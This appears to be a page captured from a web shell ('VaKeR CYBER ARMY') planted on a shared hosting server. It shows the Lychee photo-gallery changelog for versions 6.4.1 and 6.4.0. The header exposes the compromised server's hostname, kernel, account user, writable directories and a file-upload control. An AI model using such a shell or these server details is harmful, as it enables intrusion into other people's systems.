VaKeR CYBER ARMY
Logo of a company Server : Apache
System : Linux host44.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : vapecompany ( 2719)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/var/softaculous/lychee/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/softaculous/lychee/changelog.txt
v6.4.1

Released on Mar 28, 2025
Fixes...

klo refers to Keep the Light On. In other words, basic software updates.

    klo ♯3058 : Refactoring & simplify by @ildyria.
    fixes ♯3147 : Fix S3/symlink mitigation conflation by @RickyRomero.
    klo ♯3145 : phpstan: level 2 by @ppshobi.
    klo ♯3161 : Composer update by @ildyria.
    fixes ♯3164 : Fix 500 error when downloading pictures by @ildyria.
    klo ♯3140 : Dropping Legacy path for Photo create by @ildyria.

        We were already rolling with the PIPE version for a while as the value was defaulted to true: 'create-photo-via-pipes' => (bool) env('PHOTO_PIPES', true),
        Nobody complained so far, so bye bye old path.

    fixes ♯3152 : Pin tailwind 4.0.6, add cursor feedback on images & others by @ildyria.

v6.4.0

Released on Mar 23, 2025
Mostly a klo release, but a spicy one!

One of the weakness of our codebase was a constant mix between camelCase and snake_case. This was due to the combination of: - the database attributes being in snake_case - the old style php being in snake_case - some recent contributions being in camelCase - Matthias and Ildyria are also a enterprise grade developers (understand Java, C++, C#) and we are used to camelCase.

As a result, ppshobi decided to write a rector rule to convert all the code base to a single standard. After further thoughts, we decided to go with snake_case. This is a bit more verbose, but it is easier to read when you are not use to camelCase.
Changes

klo refers to Keep the Light On. In other words, basic software updates.
SE refers to functionalities that are aimed at the Supporter Edition.

    new ♯3100 : feat: custom variable casing rector rule to convert camelCase vars to snake_case by @ppshobi.
    fixes ♯3107 : Do not upload placeholders to S3 by @ildyria.

        The placeholder are base64 encoded directly in the database, as a result, when the jobs uploading the images to S3, they couldn't find the non-existing images and were crashing. We fixes this.

    klo ♯3104 : Improve baseline by @ildyria.

        Due to migration to Phpstan v2, we had to reset our baseline.

    klo ♯3109 : Snakecasify variables in app/Actions/Photo by @ildyria.
    new ♯3091 : feat: basic docker-compose setup by @ppshobi.
    klo ♯3112 : snakecasify app/Actions/User by @ildyria.
    klo ♯3113 : snakecasify app/Assets by @ildyria.
    klo ♯3110 : snakecasify app/Actions/RSS by @ildyria.
    klo ♯3116 : snakecasify app/Casts by @ildyria.
    klo ♯3111 : snakecasify app/Actions/Diagnostics by @ildyria.
    klo ♯3122 : snakecasify app/Jobs by @ildyria.
    klo ♯3119 : snakecasify app/Factories by @ildyria.
    klo ♯3115 : Snake caseify app/Actions/Import by @ppshobi.
    klo ♯3120 : snakecasify app/Http/Middleware by @ildyria.
    klo ♯3117 : Snakecasify app/Console by @ildyria.
    klo ♯3121 : snakecasify app/Images by @ildyria.
    klo ♯3118 : snakecasify app/Exceptions by @ildyria.
    klo ♯3124 : snakecasify app/Metadata by @ildyria.
    klo ♯3125 : snakecasify app/ModelFunctions by @ildyria.
    klo ♯3126 : snakecasify app/Policies by @ildyria.
    klo ♯3127 : snakecasify app/Relations by @ildyria.
    klo ♯3128 : snakecasify app/Models by @ildyria.
    klo ♯3132 : snakecasify app/SmartAlbums by @ildyria.
    klo ♯3133 : snakecasify app/View by @ildyria.
    klo ♯3137 : snakecasify app/Http/Controllers by @ildyria.
    klo ♯3130 : snakecasify app/DTO by @ildyria.
    klo ♯3139 : snakecasify app/Legacy by @ildyria.
    klo ♯3138 : snakecasify app/Http/Resources by @ildyria.
    new ♯3045 : Refactor Album page into 2 components: display - actions by @ildyria.

        This is may seem a small change, but this means that effectively the album page is loaded behind the photo view. As a result, if you go back from a photo to the album view, you no longer have a scroll down and triggering the loading of all the images (even though they were set to be lazy loaded).

    SE ♯3045: Add favourite support by @ildyria.

        This is a feature that is only available for our Sponsors. It allows any anonymous users to mark a photo as favourite. This is implemented in a privacy friendly way: the favourite is stored in the local storage of the browser. As a result, the favourite is only available on the browser that marked the photo as favourite (no cross-device communication, no data on the server).

    klo ♯3142 : snakecasify all left in app/Actions (♯3123) by @ildyria.
    fixes ♯3136 : Ignore some specific files from being rectorified. by @ildyria.

        Due to licensing constraint, we prefer to not touch some files which were directly imported as is (under MIT license).

    klo ♯3135 : snakecasify app/Http/Requests by @ildyria.
    klo ♯3131 : snakecasify app/Rules by @ildyria.
    klo ♯3144 : snakecasify the missing directories by @ildyria.
    klo ♯3143 : version 6.4.0 by @ildyria.

VaKeR 2022